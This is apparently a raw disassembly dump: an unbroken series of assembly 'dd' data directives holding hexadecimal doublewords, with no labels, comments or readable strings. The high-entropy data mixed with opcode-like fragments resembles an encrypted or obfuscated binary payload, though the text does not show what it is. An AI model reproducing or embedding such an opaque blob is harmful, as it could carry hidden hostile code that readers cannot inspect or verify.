		dd 0E0C4B19Ah, 685491D3h, 0F0FC349Ah, 30D5220Fh, 0B67B8593h
		dd 0D599D169h, 64B53007h, 4D6277CEh, 91D37C60h,	0A7360454h
		dd 5491D3C3h, 9F457D4Bh, 384D0474h, 74B78026h, 0CA7E575Ch
		dd 0D4DB842Bh, 0D3BEF693h, 51776100h, 9D816E83h, 255A7966h
		dd 29E4A357h, 560C798h,	2FA3BFCDh, 0C31DDFE2h, 0AA8CD93Fh
		dd 1025DC55h, 79083F23h, 0C1F9C75Ah, 0B1807FCFh, 8C5A364h
		dd 6B45A79h, 0C0485AF0h, 0E0C4B1FCh, 685A78DEh,	0A69BE69Ah
		dd 8A7581B9h, 3EC111A7h, 3BC4A6F3h, 3D2A3FF6h, 5A792459h
		dd 32DB13E1h, 0C9986E5Eh, 3965FB36h, 409BAD8Fh,	0F039C1CFh
		dd 30684C39h, 22F05A79h, 12F78EAh, 2C230000h, 6F5340FBh
		dd 0F75491D3h, 0FE0CC329h, 7C8E201h, 0C66A84BCh, 0AC2D1360h
		dd 6F026069h, 8FA2DA40h, 77913BA2h, 0B66D3B51h,	97D0B4A1h
		dd 8A585A79h, 38C7A952h, 0C73442F9h, 0E1382A62h, 97FBDFCCh
		dd 917E5A79h, 5A7997ADh, 0E7B56735h, 0D55CA3AFh, 0D859A688h
		dd 31C7B78Bh, 0BE54DD22h, 9B38E892h, 45C940h, 2C740000h
		dd 0EEDB92E4h, 5491D3DAh, 6C714E2h, 5491D522h, 554694F0h
		dd 0A190713Dh, 0A0897254h, 0BC758A3Ah, 0BA71D76Fh, 91D4B9CDh
		dd 4DAEBC54h, 0BFF78FDCh, 3B4DE3B1h, 8Dh, 0B69A879Ch, 3E5491D4h
		dd 2C273870h, 0EDDA91FBh, 5176DB96h, 19FB4816h,	9EF0FDE6h
		dd 85EB4784h, 0A098ECD1h, 3298F2BAh, 0CA37459Ch, 0DC232F67h
		dd 0DE470855h, 555A78D8h, 0FD0251A7h, 32479E34h, 78D96145h
		dd 671BE95Ah, 0AAE08C2Ch, 0CA70A818h, 6A782F99h, 0B54D9A97h
		dd 7D7D6A7Dh, 7D576748h, 7F8062AFh, 0F9E6FBB2h,	60684D15h
		dd 0EE97CF9Dh, 0BCEDFB49h, 7D6A218Bh, 5D55D27Dh, 9495657Dh
		dd 8D715E47h, 156656D6h, 0E57BE147h, 91FB2C90h,	0B532CCDAh
		dd 3481E74Ah, 3582AF52h, 0ECFF379Dh, 7F59FFFFh,	13ECFA51h
		dd 0B50227D4h, 717FB71Dh, 8B7456A3h, 3FC010A6h,	0F9E4A5F2h
		dd 33222951h, 0A55AE9FFh, 2875BC42h, 44942A90h,	472976BBh
		dd 862B78B9h, 6C93A238h, 20DF2FC5h, 91F73AC7h, 10A044h
		dd 0BF030000h, 0D3D9BDAAh, 97635491h, 0DA12E092h, 1EC61B60h
		dd 33CCAEFBh, 32CFB1FEh, 2ED0B2FFh, 27D4B603h, 28D3B502h
		dd 2ED2B401h, 11D4B603h, 21D9BB08h, 516FBB08h, 0C181E189h
		dd 4, 4BF57h, 0F9290000h, 240C875Fh, 0E289525Ch, 4C281h
		dd 0EA830000h, 24148704h, 241C895Ch, 81E68956h,	4C6h, 4EE8300h
		dd 5C243487h, 68240489h, 0B52h,	0BF243C89h, 3AD16307h
		dd 0BFED70BBh, 5FFB2940h, 24048B54h, 4C481h, 74680000h
		dd 8900007Dh, 3481241Ch, 0E6673824h, 8408F07h, 38087081h
		dd 8B07E667h, 89522404h, 4C281E2h, 83000000h, 148704C2h
		dd 1C8B5C24h, 0E6895624h, 4C681h, 0C6830000h, 24348704h
		dd 0F0D1E95Ch, 0B8E8FFF8h, 9F975DA3h, 0DBB6F9F4h, 1EB87C14h
		dd 305EE8Fh, 0A8E0FFC5h, 7665E8A2h, 1D407647h, 0D332C7C6h
		dd 6190CA3h, 8951FFD4h,	0DD2B2D02h, 462823E9h, 8A7512F6h
		dd 834D82C1h, 0E80B4514h, 10h, 575AF808h, 0C3790A1Dh, 0D1869D78h
		dd 9C1ACC71h, 0B0605EF9h, 25DBE2Dh, 816172F7h, 59DCC6h
		dd 0D88B6600h, 164D68h,	6E900h,	0B5C50000h, 305B692Bh
		dd 0FFF88B5Ah, 96BF6636h, 8166588Ah, 815573DFh,	0CD4169C0h
		dd 0D9BF0F1Dh, 79ADC081h, 81F95084h, 1BF4D4F0h,	89CF8B09h
		dd 850F6006h, 3, 61A2E780h, 0F02EE83h, 8Ch, 664E4E00h
		dd 0EA83FA8Bh, 20850F01h, 52000000h, 68F0Fh, 840F0000h
		dd 0
		dd 1AE959h, 3B500000h, 2A0F23Dh, 0B2E211C2h, 661B9D17h
		dd 90E9FA8Bh, 0F2FFFFFFh, 5AB1BCA5h, 77B804EBh,	53E96CBBh
		dd 7C000005h, 0CB1BB168h, 1464FA2Fh, 62B248D1h,	0ADFD939Eh
		dd 2C45DB4Eh, 0CE5BA0C3h, 1B16E838h, 65CC3585h,	0B1807FCFh
		dd 402D461Bh, 5A80635Ch, 6977FEE4h, 52639B96h, 0DF4AB1BFh
		dd 0B6C2FA92h, 0B99BE849h, 151E742h, 0FDE633FEh, 0E92110EFh
		dd 0C20F22DDh, 0C20F1AE0h, 370EDC10h, 0A4B269C8h, 0A99BD356h
		dd 0F389A859h, 86D35EA3h, 20D75AA4h, 0E46D312h,	0E23C065h
		dd 0D4280CF9h, 0E2B05491h, 91D36F53h, 0F129F754h, 7988DF2Dh
		dd 2DD222B8h, 143B4D04h, 1D14ECFEh, 0E78438D0h,	4ADE503h
		dd 92C76443h, 3DCB2D54h, 41F0111Fh, 3C245CF4h, 457C0892h
		dd 4E73h, 39C61E00h, 0CC3341F8h, 48801865h, 58A8B69Fh
		dd 0D8B6A1D9h, 0A15491D3h, 14BEA93Fh, 0F5457CFCh, 1, 0F534C6A0h
		dd 0F534C6A8h, 0F73AC6A8h, 36C4F8AAh, 0B84EDB1Fh, 49A9768h
		dd 758A98ADh, 48D76FBCh, 5491D364h, 6F2110EEh, 0BF5869A1h
		dd 98E534B1h, 98E544B6h, 56629A00h, 553784A5h, 0BFCD84A5h
		dd 0D45DA33Ch, 0D989EF87h, 24BC0928h, 7F6F43ECh, 0B721DA69h
		dd 91D3E6CAh, 624F6E54h, 5491D37Eh, 6CD23806h, 0B87986D6h
		dd 806D826Bh, 5491D39Ch, 121E5624h, 30F946D3h, 50FCC9DBh
		dd 7ABCA08Dh, 76445492h, 4568B4C2h, 92727458h, 0C82EFC54h
		dd 4B3ECC90h, 457C65B1h, 151CE3F1h, 0A86BDDh, 0FF140000h
		dd 927D2E12h, 0B0E8B654h, 0F435C69Fh, 0A820C5A7h, 91D3D7BBh
		dd 2B915F54h, 9BA92CDEh, 9C7ECB66h, 0E880CD64h,	70864A82h
		dd 790F1AE1h, 0A57D229h, 0AA340F21h, 599CA5C8h,	449675E6h
		dd 0E8208685h, 0CCBF24DCh, 5FF6C0CCh, 0A9B76ED4h, 0AB8DDA57h
		dd 0FA92DF3Ah, 0EAB35C94h, 263816E4h, 81CA053Ah, 0A38BC305h
		dd 457C08E9h, 63473449h, 0EB5492CFh, 5273E51Dh,	1E000000h
		dd 3DF435C6h, 0D3573B28h, 11DF5491h, 394730D9h,	27336BC6h
		dd 43D309DAh, 87CFB3A0h, 89575492h, 42B700D5h, 6C1A8FDCh
		dd 0F534C79Eh, 0ADBF0A5Fh, 4D069A76h, 4B578F00h, 5ECB30AFh
		dd 0BEAABF8h, 0D45492CBh, 47F16472h, 28457C0Bh,	1, 0B01FC6D3h
		dd 0C37AE051h, 0D3DDC1AEh, 97655491h, 2BD4B65Fh, 733E9FB8h
		dd 0BF57A48Dh, 0D4083C0Bh, 3BA1072Ah, 9AAC49EEh, 625DB5A9h
		dd 35B06078h, 12E8ACE4h, 0E177A243h, 0A488758Ah, 2C549262h
		dd 5780265Eh, 6E412EE5h, 0F651778Bh, 6F9DB28h, 0BA45952Bh
		dd 1DEF6929h, 0BB217F23h, 2809F604h, 2105F2DBh,	0A95A795Ch
		dd 943D75DBh, 795BF5D3h, 0A036E45Ah, 81796E91h,	0CC35BA8h
		dd 795C3B1Fh, 8FF5C35Ah, 5194A2F9h, 0ABE37BC8h,	1C83609Fh
		dd 6801F096h, 0A790DD43h, 91C96899h, 6AB77A85h,	0B1495796h
		dd 5B932B78h, 0DF24197h, 0DC5B6D24h, 4F62B05Dh,	0DE44E516h
		dd 0DE88B4A6h, 0BF409B44h, 11Bh, 91FB2C6Ah, 0F986EDDAh
		dd 0B8865176h, 806D826Bh, 5A78FF9Ch, 3FF20C24h,	0BCF45AF2h
		dd 4CE24FB0h, 0E12E03FCh, 0E43100FFh, 0E431F802h, 2A0EFBh
		dd 0E4B25A79h, 0E618C734h, 66FE4Bh, 7A903EB3h, 55A39335h
		dd 9A3001FEh, 9BD0C46Eh, 0EFF60440h, 0D45DD2Ah,	509Bh
		dd 0E42C4600h, 0B1C6DB92h, 48D742A3h, 5491D364h, 0FBE61EECh
		dd 5491D3E7h, 5C6A21EFh, 0A8408DA4h, 2206C770h,	0F05491D5h
		dd 3D554694h, 31704BBh,	0B5491D5h, 4250A73Dh, 3F2572BFh
		dd 0BAD62A26h, 0FA3298DFh, 7A2Ch, 7F7F8D00h, 95CD65B2h
		dd 4AB1BF84h, 0C2FA92DFh, 0CA81EB1Ch, 76DB86DDh, 0FFEC0151h
		dd 5A78DE1Bh, 0D525D5A3h, 400E1C54h, 0AE837B89h, 14EBCD76h
		dd 0C837871Dh, 0F25B1C69h, 695A78DDh, 0E9162DBBh, 9FC8B248h
		dd 5361762Dh, 644F8792h, 57664F29h, 172CE3B1h, 676E462Ah
		dd 0C800CE60h, 25C23D1Fh, 0A2EF55DCh, 7059AFFDh, 311ED547h
		dd 5D54DEF6h, 9C956B79h, 717FB74Fh, 2CB80DA3h, 0CCDA91FBh
		dd 0B0C3FB2Eh, 7F4488C3h, 0F5421051h, 5FBEC13h,	0E030C62Ch
		dd 0DCC5121Fh, 0E20412CAh, 91C95F8Bh, 0B2DB24A6h, 0CDDB5E43h
		dd 0B0500031h, 77854981h, 0FC35CBD9h, 0EA47B8C4h, 11EFFD54h
		dd 33BD320h, 0DC2908F7h, 0DE2B06FAh, 0DF2C05FCh, 0E22F02FDh
		dd 8D12E844h, 273ECC1Ah, 94A259D8h, 0E078C56Ch,	5D583C29h
		dd 12E0C3D6h, 6798E8DAh, 0F50513CAh, 0CC1910EAh, 0ED96CE34h
		dd 270AF604h, 3C0A42DAh, 16h, 0D83C8B9Dh, 30EC1D0h, 1158BACBh
		dd 19E7F803h, 0CD65B218h, 1EC68495h, 33CCAEFBh,	32CFB1FEh
		dd 2ED0B2FFh, 27D4B603h, 28D3B502h, 2ED2B401h, 11D4B603h
		dd 21D9BB08h, 686FBB08h, 3C5Dh,	68242C89h, 41A0h, 68243C89h
		dd 130h, 68241C89h, 0F3D392Dh, 89C7815Fh, 68F6B157h, 3078h
		dd 83242489h, 5B042404h, 15F568h, 243C8900h, 0FF08438Fh
		dd 815B2434h, 4C4h, 243C8B00h, 81E68956h, 4C6h,	4C68100h
		dd 87000000h, 0E95C2434h, 0FFF8EA8Fh, 0FEE96267h, 0A1F895C7h
		dd 9EB86C80h, 305EE95h,	0DEE0FFC5h, 0A80FC57Bh,	0C370D0BBh
		dd 0D905D5F2h, 1737867Bh, 0EA559433h, 851AAAF4h, 973DB832h
		dd 57557E3Fh, 500CFCC9h, 0B05B648Eh, 765D1F99h,	75322C3Fh
		dd 356DB6AEh, 893A4B4Dh, 2228A331h, 44092A16h, 0F61E511Bh
		dd 0A74A4473h, 8D3A11FCh, 0EE970E8Dh, 2DBD2B05h, 8905E721h
		dd 0E71AA98Dh, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0C197EF77h, 0B523B5D9h
		dd 5E70BA9h, 6890Fh, 0BD8B0000h, 5E70191h, 2A4D85C7h, 68A805E7h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 30697EC3h, 0F183A7C7h, 3985C738h,	5E727h
		dd 29000000h, 0E72AEDB5h, 49B5FF05h, 0E905E724h, 0Bh, 6C7ECAA2h
		dd 0C17B0C43h, 89152A55h, 0E712CDB5h, 9595FF05h, 0BA05E717h
		dd 696D5074h, 95FF006Ah, 5E721C1h, 3CEBC08Bh, 0A342A2FEh
		dd 96A28AAFh, 5ECA8262h, 0D1D1E6E0h, 73A998AAh,	2952F609h
		dd 0D4087744h, 0CBAD56BCh, 6479B583h, 3BB4E20Bh, 76CF4441h
		dd 0E4E5523Ah, 0FA6AD361h, 65CD4CE4h, 0A41DE1E4h, 98128D8Dh
		dd 0DC8005EEh, 0A98D89A2h, 8905E71Ah, 0E70AE9BDh, 4D85C705h
		dd 3405E72Ah, 3100005Fh, 0E725D1B5h, 3985C705h,	5E727h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0CCCEC357h, 0B25B43C9h, 0AE8DF36h
		dd 69000000h, 716DEF4Dh, 1431E1B0h, 65B52902h, 5A05E716h
		dd 2449B5FFh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0B4CFAC3h, 630AAABAh, 9595FF1Fh
		dd 6A05E717h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 3382C351h, 1B747AC3h, 6E639A74h
		dd 95FF006Ah, 5E721C1h,	3CEBC08Bh, 0ABC65F88h, 0BBDD5CF6h
		dd 0E5E49939h, 0A5B3B06h, 0DA45FE77h, 3D0D86C1h, 691579E4h
		dd 2D738D9Dh, 63A5C3D4h, 0DBB0163h, 0ED158520h,	7EE2A520h
		dd 0DC104434h, 5291B0C1h, 0E0A1D80Ah, 994D8D8Dh, 6A05EEh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0C27BF7C3h, 858B1D90h, 5E71909h, 1AA98D89h, 6A05E7h
		dd 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 65C4ADC3h, 576EE275h, 11E9h,	78CC2F00h, 9E4CFF5Ch, 7A6422E9h
		dd 76AD636Fh, 0C75E0448h, 0E72A4D85h, 602C05h, 0C7E68A00h
		dd 0E7273985h, 5, 0FF63B400h, 0E72411B5h, 51006A05h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 2DA2EB8Bh, 43F7DE2Dh, 0E1858BA9h, 0E905E701h, 0Eh, 0FB5152CEh
		dd 0DB57E85Ah, 6142A8C7h, 95FF0901h, 5E71795h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 9EC35141h, 9DC2D6EAh
		dd 91B58918h, 6A05E70Ch, 0C195FF00h, 8B05E721h,	0F62EEBC0h
		dd 37F4ED61h, 6F3260D3h, 81CE76EBh, 831CE48Ah, 81DBC9D4h
		dd 903FE0Dh, 0D2A678E6h, 378EDC67h, 3B6628BDh, 0F6BA74FBh
		dd 44BE2D0Dh, 0CE802h, 4A3B0000h, 4ACBEE4Fh, 0F5DB5D7Fh
		dd 0B5295AC9h, 5E72549h, 0A2E5B85Ah, 0C281069Bh, 6ADAh
		dd 15818D89h, 0F62B05E7h, 2F459D09h, 34FF05E7h,	0B8D0F16h
		dd 0F000000h, 58Dh, 0D8816600h,	0F593F91h, 0C84h, 7E900h
		dd 0AFF20000h, 0E2BAC803h, 34E9810Dh, 0F2889D7h, 0C181C1B7h
		dd 53184114h, 1A599589h, 0E98105E7h, 6FAD7287h,	2EED9531h
		dd 0B85105E7h, 154C2289h, 0B832048Fh, 9524B4Ah,	80D78166h
		dd 62EE81FFh, 0E8480CF9h, 9, 785F1A21h,	0CBABC179h, 68C0FD1h
		dd 9000000h, 0E7117585h, 0C6815F05h, 480CF95Eh,	81AFE380h
		dd 0FF95E4FEh, 6F850FFFh, 0BFFFFFFFh, 75DFFBF3h, 0C08Bh
		dd 169h	dup(0)
		dd 0E9600000h, 11h, 94B12EBBh, 37A7FB5Ch, 13F0622Ch, 9CC7FF9Dh
		dd 10E98147h, 612CC533h, 14E9h,	0AE01200h, 0C13FCDCEh
		dd 0DFFBF431h, 11187461h, 0FAF3CED8h, 6A9DF3h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 4EEEE8C3h, 8553517Ah, 0E96A05A6h, 0Fh, 85748CE4h, 0E867031h
		dd 0B6CB2ACBh, 60D1D015h, 7E9h,	7E636A00h, 6503BACBh, 0F561FA8Bh
		dd 56006A61h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 605DF9D3h, 0CE8h, 0C4A64200h, 203F66E4h
		dd 1B4057C7h, 8D0F70h, 58000000h, 75A7BB66h, 24440161h
		dd 50006A08h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0DEDFF242h, 0CE8F560h, 97000000h, 248B9729h
		dd 0A2782235h, 52339F2Ch, 58615A5Eh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0D1C35141h,	6660C39Dh, 0F906CABFh
		dd 7800F61h, 0F000000h,	18Eh, 6AFC00h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 49EBC8C3h
		dd 606050D7h, 36EA8166h, 0BE859h, 9E960000h, 0DD631F33h
		dd 73768628h, 66615BECh, 97ECDA81h, 0E8C08B61h,	10h, 7DB32EADh
		dd 32AC66D3h, 26CBBA43h, 0A3F827CDh, 81D6EE81h,	0E85E2DCEh
		dd 5, 0A75A28A1h, 0EE9FCh, 46F10000h, 8995AE96h, 0EE5DB842h
		dd 0CF11F9A9h, 5E95Bh, 0DF1C0000h, 8BDF5CD8h, 0F5FCF9F7h
		dd 0B002BA66h, 0DE9h, 5B3A6900h, 0E4E412EBh, 83B40A86h
		dd 0C281D66Ch, 1B8C5B8Ah, 0A1C0DBBEh, 7E87BE1Fh, 7E92438h
		dd 6C000000h, 0D1D577E7h, 9AB5C266h, 6800Fh, 0D2810000h
		dd 2A224A2Eh, 80C6B70Fh, 8166F9E3h, 66DB66DAh, 0BDB1D78Bh
		dd 8E9h, 5D6F5400h, 2AC9250Bh, 5830F91h, 60000000h, 61FC57B4h
		dd 13E953h, 0A3130000h,	8652D54Eh, 5D9B2DD8h, 48B13A9Fh
		dd 7DE47179h, 840F592Eh, 6, 35BA6650h, 800F594Bh, 0
		dd 10E9F5h, 0ED8C0000h,	3E4A2831h, 6D2E3F74h, 0E152FE7Ah
		dd 0BB66F343h, 870FADF5h, 14h, 0FE9h, 0E9D7E800h, 59C27A19h
		dd 8A624E46h, 0A174D887h, 66C38B66h, 0F8C0BDB8h, 0F8FB060h
		dd 689h, 8D0F00h, 61000000h, 56FB8B66h,	6E9h, 0CF841800h
		dd 58C421B6h, 0FCEBF0Fh, 8156F8B7h, 966919E2h, 8B15A0Dh
		dd 0E8CF8B66h, 0Ah, 0AD77CFABh,	0F4D40022h, 505FB31Ch
		dd 0BB2ABE66h, 7AD9805Fh, 8B66CB8Ah, 810FC1h, 8B000000h
		dd 8B6660C6h, 0D68166C1h, 8061F4B8h, 816668E4h,	0E91EC9DAh
		dd 14h,	0F1963367h, 41FBD675h, 0F0D5B404h, 628F7FECh, 0E90A2D41h
		dd 10E9h, 0FF337E00h, 0C89AB39Dh, 0FEC5A0ABh, 230F5D8Bh
		dd 2BE57F4h, 5A50EF3Dh,	18C0Fh,	0E8FC0000h, 0Dh, 94684AFAh
		dd 2E570565h, 2EEF7815h, 0E6BB66DDh, 10E85B44h,	18000000h
		dd 0CC87BEEEh, 0C41E5F50h, 6388631Ch, 0F93E69D4h, 14E85Fh
		dd 5E420000h, 0EFC26868h, 0CC19C368h, 2F6F3602h, 0ABE4F769h
		dd 48B2DE6Ch, 0F181665Bh, 8166A7D8h, 0F8B7B9DAh, 1309B9BAh
		dd 0BDBEF846h, 6609DF52h, 0BE0A7CBBh, 7CD2EB20h, 13E807B2h
		dd 57000000h, 0A4FF44F1h, 172B6BD8h, 1558B79Ch,	0ED3DCC42h
		dd 6658EEB8h, 0D8EBC681h, 6E9h,	77E13E00h, 66D2949Fh, 0F5B9CE81h
		dd 0FDEB70Fh, 382h, 0CA8B6600h,	8E9h, 88F68F00h, 0E2820ABCh
		dd 664FB585h, 0F202ABAh, 289h, 6051B000h, 5375CB9h, 12E826h
		dd 0BF430000h, 70D53475h, 0E6D4FABAh, 0CFA7831Dh, 3F3CCCB3h
		dd 666159F5h, 27E3CA81h, 28A0Fh, 0B6B40000h, 0FC89D381h
		dd 0D981077Dh, 5377D15h, 7E9F9h, 0EA20000h, 13164EFh, 8166FC79h
		dd 8174F7E7h, 0C57591F1h, 2EDB807Eh, 0B880Fh, 870F0000h
		dd 5, 6EE08166h, 0AD1EB8D2h, 0CE8056Ch,	0DF000000h, 0E270AD8Dh
		dd 3898B35Bh, 560ACC81h, 11E85A58h, 0D8000000h,	3BFC8E73h
		dd 0EC230749h, 17AAA640h, 0D1AC5BC5h, 6850Fh, 0F7810000h
		dd 54F42966h, 66C58A58h, 8166F38Bh, 0E96012EFh,	0Dh, 7BE7F0D6h
		dd 0B21FFC52h, 0D159C7B2h, 0E3816662h, 0B70F07F2h, 0F08166D8h
		dd 0DD8A9F3Fh, 0CE0DE281h, 8B664BEBh, 0B2F6BBDAh, 14E8719Dh
		dd 17000000h, 0B884F300h, 0BEDE423Fh, 8C12A3F7h, 898B6A4Ah
		dd 8AF6C4A8h, 81665FD8h, 0E89E50CAh, 9,	7FA0E556h, 6156E8D3h
		dd 0B0E7814Dh, 5959B793h, 81DEB70Fh, 0BB0ECAC1h, 12E9F963h
		dd 2D000000h, 9FCA6D7Eh, 0E413E981h, 0ED4EEBC7h, 6ABF724Bh
		dd 669DB7AEh, 0BF66C18Bh, 66F96C32h, 73B8DA8Bh,	8139F066h
		dd 217C91DFh, 3880F72h,	0F000000h, 0DE9CFB7h, 62000000h
		dd 2DF33794h, 152BF154h, 0FBB08BF3h, 12E9h, 0A04AF00h
		dd 849E815Ah, 0B3978185h, 4EA3414h, 8B3D6E67h, 0E95A57C8h
		dd 0Ah,	0CA456E7Fh, 0EC254467h,	66F83062h, 0F60CA8Bh, 68Fh
		dd 8A0F00h, 0F000000h, 87h, 0F7806100h,	0CF8157A6h, 1FDE070Dh
		dd 8B66525Bh, 0F18159D6h, 22BECE5Eh, 10E8h, 9F552400h
		dd 8E659A2h, 0F9B3EA7Dh, 873FE3ABh, 6850F77h, 81000000h
		dd 0CBB214F3h, 5E85837h, 45000000h, 7FC7B8FCh, 0F1B859F5h
		dd 0E9363058h, 10h, 685F8AAAh, 518B9253h, 0A1E5D192h, 1D52426Bh
		dd 6663D080h, 5033CF81h, 10E8h,	3BE93900h, 350C2524h, 215CBA9Ah
		dd 588A4D72h, 0F553586Eh, 11E958h, 7ADB0000h, 0A725E15Ch
		dd 0D3AD3B1h, 113C9EA9h, 8BF9FC94h, 8B66FCF3h, 6E9CAh
		dd 199C0000h, 0B0CA94F7h, 80D2BF0Fh, 880F19F1h,	2, 810FCB8Ah
		dd 0
		dd 29DE8166h, 0CE824h, 2DC00000h, 775196D3h, 252DEA8Fh
		dd 665E187Bh, 0FFD08B8h, 288h, 0FFCB500h, 48Dh,	0D38A5700h
		dd 0F0F2815Fh, 0B936B4DBh, 5C8A6E71h, 0A850Fh, 52600000h
		dd 860F5Eh, 61000000h, 8B0FCB8Ah, 0Eh, 8E8h, 0C0F5E000h
		dd 5E060EDBh, 0E95658C4h, 11h, 493202B0h, 0D81DAD68h, 3BACE58Ah
		dd 2B9FD419h, 0FE95BCBh, 0FA000000h, 7E6DAAF4h,	0DE80A3ADh
		dd 77A06DECh, 0BE667814h, 0FF563CCh, 0C8Bh, 68D0F00h, 81000000h
		dd 81B1DBC7h, 10E934h, 0A3730000h, 0E71FD7EEh, 31BB9530h
		dd 0ED703EAEh, 0D781438Dh, 72C786DDh, 0D395BF66h, 0B866EF8Ah
		dd 12E8EEC9h, 0F2000000h, 0F7E1BEC0h, 617654ECh, 3906036Dh
		dd 90F0693Eh, 7E99Bh, 1A1B0000h, 81A04771h, 9E85864h, 7000000h
		dd 0E78877C4h, 3B97D943h, 5830F5Bh, 0BA000000h,	191C808Eh
		dd 0BB66FA8Bh, 81FC66E2h, 219D48E9h, 28E0F7Bh, 8B000000h
		dd 3FBF66D6h, 10E9D9h, 0C5240000h, 26EC294Ah, 430B93E8h
		dd 0C9FDEF9Dh, 0BB669252h, 0BB6603A5h, 14E90A70h, 2C000000h
		dd 99442B9Ah, 64E988B9h, 87C846BBh, 0A3A92866h,	8124101Ch
		dd 0E57EEDC9h, 13E97Eh,	42050000h, 22429BDCh, 3336BE0Fh
		dd 0E0C819B7h, 91C8E0A0h, 8C0FF5DAh, 2,	810FC68Bh, 6, 6F84D681h
		dd 6CB176F9h, 1BA2FB9h,	9E972h,	36150000h, 0DCE4A58h, 0E8E5FA75h
		dd 0Bh,	2B610CB1h, 4550B265h, 0B9C7B8FCh, 7199514h, 58A0F5Eh
		dd 0BF000000h, 350E360Ah, 8E9h,	91E3A500h, 531623h, 6E9DFh
		dd 0A5670000h, 2FC6EBDFh, 17D6CA81h, 0E480673Dh, 0BF0F50F8h
		dd 8B665ACBh, 0AE9C2h, 0B78C0000h, 0F0958F48h, 3502C52Ch
		dd 0BE665851h, 0B2B88CF7h, 0B21F8161h, 0CE81669Ch, 0DAB12C92h
		dd 0D7BAFE8Bh, 0F84AEA17h, 13E9h, 50D32700h, 0D97E01DCh
		dd 8C27D1C4h, 0A11E3249h, 663CC5EEh, 90F28166h,	0FE9F5h
		dd 6F270000h, 0EAD87DD6h, 9ADE86C0h, 7D295D95h,	12E881h
		dd 767F0000h, 1FBA2F6Ah, 3AF38E60h, 7C9827ADh, 0F3D08752h
		dd 0DE9h, 267F0D00h, 35F915C9h,	1384DC65h, 8A5B14D1h, 0C7B866FEh
		dd 0D38166F6h, 6E83B25h, 9E000000h, 0F1986244h,	0E8BB66A7h
		dd 0C68B59C0h, 0C50A0EBBh, 0EE914h, 89730000h, 9FB02FC0h
		dd 0C2166017h, 0D7C7A05Dh, 12E9h, 34338D00h, 73BB1FFBh
		dd 6A20EC03h, 0DB4D9DA9h, 813A0D05h, 0EC790FEAh, 8AEF8122h
		dd 6628C881h, 0E350C381h, 56CCBF66h, 3870Fh, 8B660000h
		dd 0D78166DFh, 0E9503E77h, 10h,	0A92E0315h, 0EF15CF39h
		dd 1E81DA85h, 9B6D89F6h, 0AE95Ah, 87A20000h, 2CB269E0h
		dd 8CA2180Fh, 8166C18Bh, 0BBFD3FDEh, 5DB1B6C0h,	6486D781h
		dd 8B667F03h, 0DE8B66D6h, 43B96660h, 50DD8042h,	0E6816661h
		dd 890FA082h, 18h, 6E8h, 11A2E700h, 0E9BC3EC2h,	7, 3AA24645h
		dd 5B645E26h, 0F2C9C681h, 8E0F630Bh, 12h, 9E8h,	5D31E800h
		dd 54AEE76Dh, 0C280EFB8h, 9E85951h, 0E6000000h,	0EB80364Dh
		dd 544725C1h, 5A5EFC57h, 0FDABF0Fh, 148Dh, 0FE900h, 0B2D60000h
		dd 0AA9DF4E3h, 0DEEB37FCh, 94B6B8E5h, 62BB663Bh, 48C0F30h
		dd 66000000h, 0E90326B8h, 11h, 7D21E180h, 0C40D2C9h, 0B604DB46h
		dd 3EC648F8h, 1880FD8h,	0F9000000h, 0AE9h, 2A4D9200h, 8A47AB3Dh
		dd 0E89356CAh, 12h, 0F4976CD2h,	55721971h, 1915695Dh, 0D322DE1Eh
		dd 5AF99A3Dh, 0CE81F18Bh, 3E9BFFD2h, 8E8h, 0FB8B0C00h
		dd 0C246E524h, 0DF8B66ADh, 0DA81FC58h, 19837A7Ah, 7E9h
		dd 209A1B00h, 55B151C8h, 0BE8h,	0FFAEE000h, 0F279FBEEh
		dd 5D886DA4h, 5BDABF0Fh, 0B873AFBBh, 66EB8A25h,	8B66F88Bh
		dd 0E894B0FEh, 10h, 0ADB47C7Ah,	0EDC5D9B1h, 0B7D6D9D0h
		dd 4BBF9962h, 9E8h, 0BB18F00h, 29C55D59h, 5FFCCFF5h, 5E85259h
		dd 0F8000000h, 42447E72h, 0CCC38166h, 60585A32h, 7D95BB66h
		dd 1840Fh, 61F50000h, 0F8FB8B66h, 0CE9h, 34241C00h, 67658EFAh
		dd 86AE89E9h, 0FF98B2Ch, 54BBF0B7h, 6668C7C0h, 0F5F5D88Bh
		dd 0C84D6FBAh, 870FF517h, 19h, 14E9h, 0F4AE4700h, 762F567Eh
		dd 0C954A55Ah, 6A67D05Bh, 0E9401566h, 9E850ECh,	57000000h
		dd 4F1812F7h, 422B98CCh, 0F15BF0B8h, 535A584Dh,	0EE9h
		dd 0A2110200h, 45C5C18Bh, 0DF9FD5Fh, 59BAB666h,	662FE180h
		dd 6612C5B9h, 0B866D88Bh, 0DE907FCh, 0A3000000h, 20908F9Dh
		dd 0F0B5082Eh, 26D6160Ch, 6E9h,	4592BD00h, 0FFE9726h, 98Bh
		dd 38D0F00h, 80000000h,	0F78A8CF2h, 0BB8EC4BFh,	40E48034h
		dd 0BE9h, 0A46D0800h, 0DEE5EC96h, 3D8926BFh, 0AE8h, 51BFFF00h
		dd 0E6E17FFEh, 5BA4A2C0h, 0B8FFB70Fh, 2054EA37h, 60DEB70Fh
		dd 61C9BF0Fh, 0FF63BF66h, 0D081F08Bh, 0F3C994h,	13C08166h
		dd 816660FFh, 0BB2DC0DEh, 490C24CEh, 2A11B861h,	0E6816477h
